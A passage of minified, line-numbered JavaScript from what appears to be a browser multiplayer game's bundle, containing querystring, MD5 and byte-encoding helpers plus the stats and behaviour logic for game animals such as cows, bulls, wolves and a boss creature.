  5207. return Object.prototype.hasOwnProperty.call(c, L);
  5208. }
  5209. y.exports = function (L, U, G, q) {
  5210. U = U || "&", G = G || "=";
  5211. var P = {};
  5212. if ("string" != typeof L || 0 === L.length) return P;
  5213. var H = /\+/g;
  5214. L = L.split(U);
  5215. var N = 1e3;
  5216. q && "number" == typeof q.maxKeys && (N = q.maxKeys);
  5217. var X = L.length;
  5218. N > 0 && X > N && (X = N);
  5219. for (var F = 0; F < X; ++F) {
  5220. var Z, z, O, E, I = L[F].replace(H, "%20"), M = I.indexOf(G);
  5221. M >= 0 ? (Z = I.substr(0, M), z = I.substr(M + 1)) : (Z = I, z = ""), O = decodeURIComponent(Z), E = decodeURIComponent(z), J(P, O) ? T(P[O]) ? P[O].push(E) : P[O] = [P[O], E] : P[O] = E;
  5222. }
  5223. return P;
  5224. };
  5225. var T = Array.isArray || function (c) {
  5226. return "[object Array]" === Object.prototype.toString.call(c);
  5227. };
  5228. }, function (y, V, d) {
  5229. "use strict";
  5230. var J = function (p) {
  5231. switch (typeof p) {
  5232. case "string":
  5233. return p;
  5234. case "boolean":
  5235. return p ? "true" : "false";
  5236. case "number":
  5237. return isFinite(p) ? p : "";
  5238. default:
  5239. return "";
  5240. }
  5241. };
  5242. y.exports = function (p, U, G, q) {
  5243. return U = U || "&", G = G || "=", null === p && (p = void 0), "object" == typeof p ? c(L(p), function (P) {
  5244. var g = encodeURIComponent(J(P)) + G;
  5245. return T(p[P]) ? c(p[P], function (H) {
  5246. return g + encodeURIComponent(J(H));
  5247. }).join(U) : g + encodeURIComponent(J(p[P]));
  5248. }).join(U) : q ? encodeURIComponent(J(q)) + G + encodeURIComponent(J(p)) : "";
  5249. };
  5250. var T = Array.isArray || function (p) {
  5251. return "[object Array]" === Object.prototype.toString.call(p);
  5252. };
  5253. function c(p, U) {
  5254. if (p.map) return p.map(U);
  5255. for (var G = [], q = 0; q < p.length; q++) G.push(U(p[q], q));
  5256. return G;
  5257. }
  5258. var L = Object.keys || function (p) {
  5259. var U = [];
  5260. for (var G in p) Object.prototype.hasOwnProperty.call(p, G) && U.push(G);
  5261. return U;
  5262. };
  5263. }, function (y, V, d) {
  5264. !function () {
  5265. var J = d(68), T = d(20).utf8, c = d(69), L = d(20).bin, p = function (U, G) {
  5266. U.constructor == String ? U = G && "binary" === G.encoding ? L.stringToBytes(U) : T.stringToBytes(U) : c(U) ? U = Array.prototype.slice.call(U, 0) : Array.isArray(U) || (U = U.toString());
  5267. for (var q = J.bytesToWords(U), P = 8 * U.length, H = 1732584193, N = -271733879, X = -1732584194, F = 271733878, Z = 0; Z < q.length; Z++) q[Z] = 16711935 & (q[Z] << 8 | q[Z] >>> 24) | 4278255360 & (q[Z] << 24 | q[Z] >>> 8);
  5268. q[P >>> 5] |= 128 << P % 32, q[14 + (P + 64 >>> 9 << 4)] = P;
  5269. var z = p._ff, O = p._gg, E = p._hh, I = p._ii;
  5270. for (Z = 0; Z < q.length; Z += 16) {
  5271. var M = H, K = N, R = X, S = F;
  5272. N = I(N = I(N = I(N = I(N = E(N = E(N = E(N = E(N = O(N = O(N = O(N = O(N = z(N = z(N = z(N = z(N, X = z(X, F = z(F, H = z(H, N, X, F, q[Z + 0], 7, -680876936), N, X, q[Z + 1], 12, -389564586), H, N, q[Z + 2], 17, 606105819), F, H, q[Z + 3], 22, -1044525330), X = z(X, F = z(F, H = z(H, N, X, F, q[Z + 4], 7, -176418897), N, X, q[Z + 5], 12, 1200080426), H, N, q[Z + 6], 17, -1473231341), F, H, q[Z + 7], 22, -45705983), X = z(X, F = z(F, H = z(H, N, X, F, q[Z + 8], 7, 1770035416), N, X, q[Z + 9], 12, -1958414417), H, N, q[Z + 10], 17, -42063), F, H, q[Z + 11], 22, -1990404162), X = z(X, F = z(F, H = z(H, N, X, F, q[Z + 12], 7, 1804603682), N, X, q[Z + 13], 12, -40341101), H, N, q[Z + 14], 17, -1502002290), F, H, q[Z + 15], 22, 1236535329), X = O(X, F = O(F, H = O(H, N, X, F, q[Z + 1], 5, -165796510), N, X, q[Z + 6], 9, -1069501632), H, N, q[Z + 11], 14, 643717713), F, H, q[Z + 0], 20, -373897302), X = O(X, F = O(F, H = O(H, N, X, F, q[Z + 5], 5, -701558691), N, X, q[Z + 10], 9, 38016083), H, N, q[Z + 15], 14, -660478335), F, H, q[Z + 4], 20, -405537848), X = O(X, F = O(F, H = O(H, N, X, F, q[Z + 9], 5, 568446438), N, X, q[Z + 14], 9, -1019803690), H, N, q[Z + 3], 14, -187363961), F, H, q[Z + 8], 20, 1163531501), X = O(X, F = O(F, H = O(H, N, X, F, q[Z + 13], 5, -1444681467), N, X, q[Z + 2], 9, -51403784), H, N, q[Z + 7], 14, 1735328473), F, H, q[Z + 12], 20, -1926607734), X = E(X, F = E(F, H = E(H, N, X, F, q[Z + 5], 4, -378558), N, X, q[Z + 8], 11, -2022574463), H, N, q[Z + 11], 16, 1839030562), F, H, q[Z + 14], 23, -35309556), X = E(X, F = E(F, H = E(H, N, X, F, q[Z + 1], 4, -1530992060), N, X, q[Z + 4], 11, 1272893353), H, N, q[Z + 7], 16, -155497632), F, H, q[Z + 10], 23, -1094730640), X = E(X, F = E(F, H = E(H, N, X, F, q[Z + 13], 4, 681279174), N, X, q[Z + 0], 11, -358537222), H, N, q[Z + 3], 16, -722521979), F, H, q[Z + 6], 23, 76029189), X = E(X, F = E(F, H = E(H, N, X, F, q[Z + 9], 4, -640364487), N, X, q[Z + 12], 11, -421815835), H, N, q[Z + 15], 16, 530742520), F, H, q[Z + 2], 23, -995338651), X = I(X, F = I(F, H = I(H, N, X, F, q[Z + 0], 6, -198630844), N, X, q[Z + 7], 10, 1126891415), H, N, q[Z + 14], 15, -1416354905), F, H, q[Z + 5], 21, -57434055), X = I(X, F = I(F, H = I(H, N, X, F, q[Z + 12], 6, 1700485571), N, X, q[Z + 3], 10, -1894986606), H, N, q[Z + 10], 15, -1051523), F, H, q[Z + 1], 21, -2054922799), X = I(X, F = I(F, H = I(H, N, X, F, q[Z + 8], 6, 1873313359), N, X, q[Z + 15], 10, -30611744), H, N, q[Z + 6], 15, -1560198380), F, H, q[Z + 13], 21, 1309151649), X = I(X, F = I(F, H = I(H, N, X, F, q[Z + 4], 6, -145523070), N, X, q[Z + 11], 10, -1120210379), H, N, q[Z + 2], 15, 718787259), F, H, q[Z + 9], 21, -343485551), H = H + M >>> 0, N = N + K >>> 0, X = X + R >>> 0, F = F + S >>> 0;
  5273. }
  5274. return J.endian([H, N, X, F]);
  5275. };
  5276. p._ff = function (U, G, q, P, g, H, N) {
  5277. var h = U + (G & q | ~G & P) + (g >>> 0) + N;
  5278. return (h << H | h >>> 32 - H) + G;
  5279. }, p._gg = function (U, G, q, P, g, H, N) {
  5280. var h = U + (G & P | q & ~P) + (g >>> 0) + N;
  5281. return (h << H | h >>> 32 - H) + G;
  5282. }, p._hh = function (U, G, q, P, g, H, N) {
  5283. var h = U + (G ^ q ^ P) + (g >>> 0) + N;
  5284. return (h << H | h >>> 32 - H) + G;
  5285. }, p._ii = function (U, G, q, P, g, H, N) {
  5286. var h = U + (q ^ (G | ~P)) + (g >>> 0) + N;
  5287. return (h << H | h >>> 32 - H) + G;
  5288. }, p._blocksize = 16, p._digestsize = 16, y.exports = function (U, G) {
  5289. if (null == U) throw new Error("Illegal argument " + U);
  5290. var q = J.wordsToBytes(p(U, G));
  5291. return G && G.asBytes ? q : G && G.asString ? L.bytesToString(q) : J.bytesToHex(q);
  5292. };
  5293. }();
  5294. }, function (y, V) {
  5295. !function () {
  5296. var d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", J = {rotl: function (T, c) {
  5297. return T << c | T >>> 32 - c;
  5298. }, rotr: function (T, c) {
  5299. return T << 32 - c | T >>> c;
  5300. }, endian: function (T) {
  5301. if (T.constructor == Number) return 16711935 & J.rotl(T, 8) | 4278255360 & J.rotl(T, 24);
  5302. for (var c = 0; c < T.length; c++) T[c] = J.endian(T[c]);
  5303. return T;
  5304. }, randomBytes: function (T) {
  5305. for (var c = []; T > 0; T--) c.push(Math.floor(256 * Math.random()));
  5306. return c;
  5307. }, bytesToWords: function (T) {
  5308. for (var c = [], L = 0, s = 0; L < T.length; L++, s += 8) c[s >>> 5] |= T[L] << 24 - s % 32;
  5309. return c;
  5310. }, wordsToBytes: function (T) {
  5311. for (var c = [], L = 0; L < 32 * T.length; L += 8) c.push(T[L >>> 5] >>> 24 - L % 32 & 255);
  5312. return c;
  5313. }, bytesToHex: function (T) {
  5314. for (var c = [], L = 0; L < T.length; L++) c.push((T[L] >>> 4).toString(16)), c.push((15 & T[L]).toString(16));
  5315. return c.join("");
  5316. }, hexToBytes: function (T) {
  5317. for (var c = [], L = 0; L < T.length; L += 2) c.push(parseInt(T.substr(L, 2), 16));
  5318. return c;
  5319. }, bytesToBase64: function (T) {
  5320. for (var c = [], L = 0; L < T.length; L += 3) for (var p = T[L] << 16 | T[L + 1] << 8 | T[L + 2], U = 0; U < 4; U++) 8 * L + 6 * U <= 8 * T.length ? c.push(d.charAt(p >>> 6 * (3 - U) & 63)) : c.push("=");
  5321. return c.join("");
  5322. }, base64ToBytes: function (T) {
  5323. T = T.replace(/[^A-Z0-9+\/]/gi, "");
  5324. for (var c = [], L = 0, s = 0; L < T.length; s = ++L % 4) 0 != s && c.push((d.indexOf(T.charAt(L - 1)) & Math.pow(2, -2 * s + 8) - 1) << 2 * s | d.indexOf(T.charAt(L)) >>> 6 - 2 * s);
  5325. return c;
  5326. }};
  5327. y.exports = J;
  5328. }();
  5329. }, function (y, V) {
  5330. function d(J) {
  5331. return !!J.constructor && "function" == typeof J.constructor.isBuffer && J.constructor.isBuffer(J);
  5332. }
  5333. y.exports = function (J) {
  5334. return null != J && (d(J) || function (T) {
  5335. return "function" == typeof T.readFloatLE && "function" == typeof T.slice && d(T.slice(0, 0));
  5336. }(J) || !!J._isBuffer);
  5337. };
  5338. }, function (y, V) {
  5339. y.exports = function (d, J, T, L, p, U, G, q, P) {
  5340. this.aiTypes = [{id: 0, src: "cow_1", killScore: 150, health: 500, weightM: 0.8, speed: 0.00095, turnSpeed: 0.001, scale: 72, drop: ["food", 50]}, {id: 1, src: "pig_1", killScore: 200, health: 800, weightM: 0.6, speed: 0.00085, turnSpeed: 0.001, scale: 72, drop: ["food", 80]}, {id: 2, name: "Bull", src: "bull_2", hostile: !0, dmg: 20, killScore: 1e3, health: 1800, weightM: 0.5, speed: 0.00094, turnSpeed: 0.00074, scale: 78, viewRange: 800, chargePlayer: !0, drop: ["food", 100]}, {id: 3, name: "Bully", src: "bull_1", hostile: !0, dmg: 20, killScore: 2e3, health: 2800, weightM: 0.45, speed: 0.001, turnSpeed: 0.0008, scale: 90, viewRange: 900, chargePlayer: !0, drop: ["food", 400]}, {id: 4, name: "Wolf", src: "wolf_1", hostile: !0, dmg: 8, killScore: 500, health: 300, weightM: 0.45, speed: 0.001, turnSpeed: 0.002, scale: 84, viewRange: 800, chargePlayer: !0, drop: ["food", 200]}, {id: 5, name: "duck", src: "chicken_1", dmg: 8, killScore: 2e3, noTrap: !0, health: 300, weightM: 0.2, speed: 0.0018, turnSpeed: 0.006, scale: 70, drop: ["food", 100]}, {id: 6, name: "MOOSTAFA", nameScale: 50, src: "enemy", hostile: !0, dontRun: !0, fixedSpawn: !0, spawnDelay: 6e4, noTrap: !0, colDmg: 100, dmg: 40, killScore: 8e3, health: 18e3, weightM: 0.4, speed: 0.0007, turnSpeed: 0.01, scale: 80, spriteMlt: 1.8, leapForce: 0.9, viewRange: 1e3, hitRange: 210, hitDelay: 1e3, chargePlayer: !0, drop: ["food", 100]}, {id: 7, name: "Treasure", hostile: !0, nameScale: 35, src: "crate_1", fixedSpawn: !0, spawnDelay: 12e4, colDmg: 200, killScore: 5e3, health: 2e4, weightM: 0.1, speed: 0, turnSpeed: 0, scale: 70, spriteMlt: 1}, {id: 8, name: "MOOFIE", src: "wolf_2", hostile: !0, fixedSpawn: !0, dontRun: !0, hitScare: 4, spawnDelay: 3e4, noTrap: !0, nameScale: 35, dmg: 10, colDmg: 100, killScore: 3e3, health: 7e3, weightM: 0.45, speed: 0.0015, turnSpeed: 0.002, scale: 90, viewRange: 800, chargePlayer: !0, drop: ["food", 1e3]}], this.spawn = function (g, H, N, X) {
  5341. for (var F, Z = 0; Z < d.length; ++Z) if (!d[Z].active) {
  5342. F = d[Z];
  5343. break;
  5344. }
  5345. return F || (F = new J(d.length, p, T, L, G, U, q, P), d.push(F)), F.init(g, H, N, X, this.aiTypes[X]), F;
  5346. };
  5347. };
  5348. }, function (y, V) {
  5349. var d = 2 * Math.PI;
  5350. y.exports = function (J, T, L, p, U, G, q, P) {
  5351. this.sid = J, this.isAI = !0, this.nameIndex = U.randInt(0, G.cowNames.length - 1), this.init = function (X, F, Z, z, O) {
  5352. this.x = X, this.y = F, this.startX = O.fixedSpawn ? X : null, this.startY = O.fixedSpawn ? F : null, this.xVel = 0, this.yVel = 0, this.zIndex = 0, this.dir = Z, this.dirPlus = 0, this.index = z, this.src = O.src, O.name && (this.name = O.name), this.weightM = O.weightM, this.speed = O.speed, this.killScore = O.killScore, this.turnSpeed = O.turnSpeed, this.scale = O.scale, this.maxHealth = O.health, this.leapForce = O.leapForce, this.health = this.maxHealth, this.chargePlayer = O.chargePlayer, this.viewRange = O.viewRange, this.drop = O.drop, this.dmg = O.dmg, this.hostile = O.hostile, this.dontRun = O.dontRun, this.hitRange = O.hitRange, this.hitDelay = O.hitDelay, this.hitScare = O.hitScare, this.spriteMlt = O.spriteMlt, this.nameScale = O.nameScale, this.colDmg = O.colDmg, this.noTrap = O.noTrap, this.spawnDelay = O.spawnDelay, this.hitWait = 0, this.waitCount = 1e3, this.moveCount = 0, this.targetDir = 0, this.active = !0, this.alive = !0, this.runFrom = null, this.chargeTarget = null, this.dmgOverTime = {};
  5353. };
  5354. var g = 0;
  5355. this.update = function (X) {
  5356. if (this.active) {
  5357. if (this.spawnCounter) return this.spawnCounter -= X, void (this.spawnCounter <= 0 && (this.spawnCounter = 0, this.x = this.startX || U.randInt(0, G.mapScale), this.y = this.startY || U.randInt(0, G.mapScale)));
  5358. (g -= X) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), g = 1e3);
  5359. var F = !1, Z = 1;
  5360. if (!this.zIndex && !this.lockMove && this.y >= G.mapScale / 2 - G.riverWidth / 2 && this.y <= G.mapScale / 2 + G.riverWidth / 2 && (Z = 0.33, this.xVel += G.waterCurrent * X), this.lockMove) this.xVel = 0, this.yVel = 0; else if (this.waitCount > 0) {
  5361. if (this.waitCount -= X, this.waitCount <= 0) if (this.chargePlayer) {
  5362. for (var z, O, K, R = 0; R < L.length; ++R) !L[R].alive || L[R].skin && L[R].skin.bullRepel || (K = U.getDistance(this.x, this.y, L[R].x, L[R].y)) <= this.viewRange && (!z || K < O) && (O = K, z = L[R]);
  5363. z ? (this.chargeTarget = z, this.moveCount = U.randInt(8e3, 12e3)) : (this.moveCount = U.randInt(1e3, 2e3), this.targetDir = U.randFloat(-Math.PI, Math.PI));
  5364. } else this.moveCount = U.randInt(4e3, 1e4), this.targetDir = U.randFloat(-Math.PI, Math.PI);
  5365. } else if (this.moveCount > 0) {
  5366. var Y = this.speed * Z;
  5367. if (this.runFrom && this.runFrom.active && (!this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir = U.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y), Y *= 1.42) : this.chargeTarget && this.chargeTarget.alive && (this.targetDir = U.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y), Y *= 1.75, F = !0), this.hitWait && (Y *= 0.3), this.dir != this.targetDir) {
  5368. this.dir %= d;
  5369. var Q = (this.dir - this.targetDir + d) % d, D = Math.min(Math.abs(Q - d), Q, this.turnSpeed * X), W = Q - Math.PI >= 0 ? 1 : -1;
  5370. this.dir += W * D + d;
  5371. }
  5372. this.dir %= d, this.xVel += Y * X * Math.cos(this.dir), this.yVel += Y * X * Math.sin(this.dir), this.moveCount -= X, this.moveCount <= 0 && (this.runFrom = null, this.chargeTarget = null, this.waitCount = this.hostile ? 1500 : U.randInt(1500, 6e3));
  5373. }
  5374. this.zIndex = 0, this.lockMove = !1;
  5375. var B = U.getDistance(0, 0, this.xVel * X, this.yVel * X), j = Math.min(4, Math.max(1, Math.round(B / 40))), C = 1 / j;
  5376. for (R = 0; R < j; ++R) {
  5377. this.xVel && (this.x += this.xVel * X * C), this.yVel && (this.y += this.yVel * X * C), y6 = T.getGridArrays(this.x, this.y, this.scale);
  5378. for (var y0 = 0; y0 < y6.length; ++y0) for (var y1 = 0; y1 < y6[y0].length; ++y1) y6[y0][y1].active && T.checkCollision(this, y6[y0][y1], C);
  5379. }
  5380. var y2, y3, y4, y5 = !1;
  5381. if (this.hitWait > 0 && (this.hitWait -= X, this.hitWait <= 0)) {
  5382. y5 = !0, this.hitWait = 0, this.leapForce && !U.randInt(0, 2) && (this.xVel += this.leapForce * Math.cos(this.dir), this.yVel += this.leapForce * Math.sin(this.dir));
  5383. for (var y6 = T.getGridArrays(this.x, this.y, this.hitRange), y7 = 0; y7 < y6.length; ++y7) for (y0 = 0; y0 < y6[y7].length; ++y0) (y2 = y6[y7][y0]).health && (y3 = U.getDistance(this.x, this.y, y2.x, y2.y)) < y2.scale + this.hitRange && (y2.changeHealth(5 * -this.dmg) && T.disableObj(y2), T.hitObj(y2, U.getDirection(this.x, this.y, y2.x, y2.y)));
  5384. for (y0 = 0; y0 < L.length; ++y0) L[y0].canSee(this) && P.send(L[y0].id, "aa", this.sid);
  5385. }
  5386. if (F || y5) for (R = 0; R < L.length; ++R) (y2 = L[R]) && y2.alive && (y3 = U.getDistance(this.x, this.y, y2.x, y2.y), this.hitRange ? !this.hitWait && y3 <= this.hitRange + y2.scale && (y5 ? (y4 = U.getDirection(y2.x, y2.y, this.x, this.y), y2.changeHealth(-this.dmg), y2.xVel += 0.6 * Math.cos(y4), y2.yVel += 0.6 * Math.sin(y4), this.runFrom = null, this.chargeTarget = null, this.waitCount = 3e3, this.hitWait = U.randInt(0, 2) ? 0 : 600) : this.hitWait = this.hitDelay) : y3 <= this.scale + y2.scale && (y4 = U.getDirection(y2.x, y2.y, this.x, this.y), y2.changeHealth(-this.dmg), y2.xVel += 0.55 * Math.cos(y4), y2.yVel += 0.55 * Math.sin(y4)));
  5387. this.xVel && (this.xVel *= Math.pow(G.playerDecel, X)), this.yVel && (this.yVel *= Math.pow(G.playerDecel, X));
  5388. var y8 = this.scale;
  5389. this.x - y8 < 0 ? (this.x = y8, this.xVel = 0) : this.x + y8 > G.mapScale && (this.x = G.mapScale - y8, this.xVel = 0), this.y - y8 < 0 ? (this.y = y8, this.yVel = 0) : this.y + y8 > G.mapScale && (this.y = G.mapScale - y8, this.yVel = 0);
  5390. }
  5391. }, this.canSee = function (X) {
  5392. if (!X) return !1;
  5393. if (X.skin && X.skin.invisTimer && X.noMovTimer >= X.skin.invisTimer) return !1;
  5394. var F = Math.abs(X.x - this.x) - X.scale, Z = Math.abs(X.y - this.y) - X.scale;
  5395. return F <= G.maxScreenWidth / 2 * 1.3 && Z <= G.maxScreenHeight / 2 * 1.3;
  5396. };
  5397. var H = 0, N = 0;
  5398. this.animate = function (X) {
  5399. this.animTime > 0 && (this.animTime -= X, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, H = 0, N = 0) : 0 == N ? (H += X / (this.animSpeed * G.hitReturnRatio), this.dirPlus = U.lerp(0, this.targetAngle, Math.min(1, H)), H >= 1 && (H = 1, N = 1)) : (H -= X / (this.animSpeed * (1 - G.hitReturnRatio)), this.dirPlus = U.lerp(0, this.targetAngle, Math.max(0, H))));
  5400. }, this.startAnim = function () {
  5401. this.animTime = this.animSpeed = 600, this.targetAngle = 0.8 * Math.PI, H = 0, N = 0;
  5402. }, this.changeHealth = function (X, F, Z) {
  5403. if (this.active && (this.health += X, Z && (this.hitScare && !U.randInt(0, this.hitScare) ? (this.runFrom = Z, this.waitCount = 0, this.moveCount = 2e3) : this.hostile && this.chargePlayer && Z.isPlayer ? (this.chargeTarget = Z, this.waitCount = 0, this.moveCount = 8e3) : this.dontRun || (this.runFrom = Z, this.waitCount = 0, this.moveCount = 2e3)), X < 0 && this.hitRange && U.randInt(0, 1) && (this.hitWait = 500), F && F.canSee(this) && X < 0 && P.send(F.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-X), 1), this.health <= 0 && (this.spawnDelay ? (this.spawnCounter = this.spawnDelay, this.x = -1e6, this.y = -1e6) : (this.x = this.startX || U.randInt(0, G.mapScale), this.y = this.startY || U.randInt(0, G.mapScale)), this.health = this.maxHealth, this.runFrom = null, F && (q(F, this.killScore), this.drop)))) for (var z = 0; z < this.drop.length;) F.addResource(G.resourceTypes.indexOf(this.drop[z]), this.drop[z + 1]), z += 2;
  5404. };
  5405. };
  5406. }]);